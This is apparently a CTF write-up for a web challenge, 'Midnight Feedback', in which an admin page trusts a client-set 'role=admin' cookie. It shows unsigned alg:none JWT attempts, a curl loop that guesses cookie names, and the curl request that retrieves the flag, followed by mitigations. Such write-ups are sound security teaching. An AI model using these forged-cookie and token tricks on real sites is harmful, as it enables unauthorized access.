Writeup · SAF Pre-Qualifiers 2026

Midnight Feedback

webunknownsolvedFlag: safctf{REDACTED}

Overview

The application is a public feedback portal where submitted notes are supposedly reviewed by a privileged “keeper”. The interesting endpoint is /admin/notes. The goal is to reach the keeper-only area and retrieve the secret.

Prerequisites / Setup

export TARGET="<challenge URL or IP>"

Endpoints enumerated: GET /, POST /feedback, GET /thanks, GET /admin/login, GET /admin, GET /admin/notes, GET /api/health. No wordlist or credentials are required.

Recon

Step 1 — Enumerate endpoints and test /admin/notes

Goal: Map the application surface and confirm /admin/notes is protected.

GET  /
POST /feedback
GET  /thanks
GET  /admin/login
GET  /admin
GET  /admin/notes
GET  /api/health

/admin redirected to /admin/login, while /admin/notes returned:

HTTP/1.1 403 FORBIDDEN

Unauthorized

The login page exposed no credentials or hidden fields, and invalid credentials (keeper:wrong, admin:wrong) returned Invalid credentials without issuing a useful authentication cookie.

Enumeration

Step 2 — Investigate JWT-style authentication

Goal: Determine whether /admin/notes is protected by a JWT token.

An unsigned JWT (alg: none) with various claims (role: admin, role: keeper, is_admin: true, etc.) was supplied via Cookie: token=<JWT>, Authorization: Bearer <JWT>, and Authorization: <JWT>. All resulted in 403 Unauthorized, indicating token was probably not the relevant authorization cookie.

Vulnerability Analysis

The flaw class is Broken Access Control (CWE-284: Improper Access Control) via an insecure, client-controlled authorization cookie. Conceptually, the vulnerable check was equivalent to:

if request.cookies.get("role") != "admin":
    return "Unauthorized", 403
return secret_page()

Since HTTP cookies are controlled by the client, an attacker can simply set role=admin and bypass the access control.

Exploitation

Goal: Find the cookie name that controls authorization.

for name in token role auth role_cookie user_role; do
    echo "===== $name=admin ====="
    curl -sS -i \
      -H "Cookie: $name=admin" \
      "$TARGET/admin/notes" | head -12
    echo
done

Most cookies produced 403 Unauthorized, but:

Cookie: role=admin

returned:

HTTP/1.1 200 OK

Interpretation: role=admin is the critical authorization bypass — no username, password, JWT signature, or server-side session was required.

Step 4 — Retrieve the flag

Goal: Request /admin/notes with role=admin and read the flag.

curl -sS \
  -H 'Cookie: role=admin' \
  "$TARGET/admin/notes"
<title>The hollow</title>

<h1>The hollow</h1>

<p class="lead">Keeper's eyes only — tucked away where wanderers can't reach.</p>

<div class="secret">safctf{REDACTED}</div>

Interpretation: The client-controlled cookie granted access to the keeper-only page, which embeds the flag directly.

Flag

safctf{REDACTED}

Retrieved from /admin/notes by setting Cookie: role=admin.

Dead Ends

Lessons / Takeaways

  • Authorization state must be derived from a trusted server-side session, never from a client-controlled cookie.
  • When JWT guessing fails, test simpler cookie names directly — the control may be trivial.
  • role=admin flipping 403 to 200 is a clear signal of an insecure authorization cookie.

Mitigations

  • Derive the user’s role from a server-side session or signed token whose integrity the server verifies (signature + expected algorithm), never from a plain client cookie.
  • Treat all cookies as untrusted client input; validate and re-authorize on every privileged request.
  • Use HttpOnly, Secure, and SameSite cookie attributes, and pair them with real server-side authorization checks.

Techniques

  • Broken Access Control
  • Insecure Cookie

References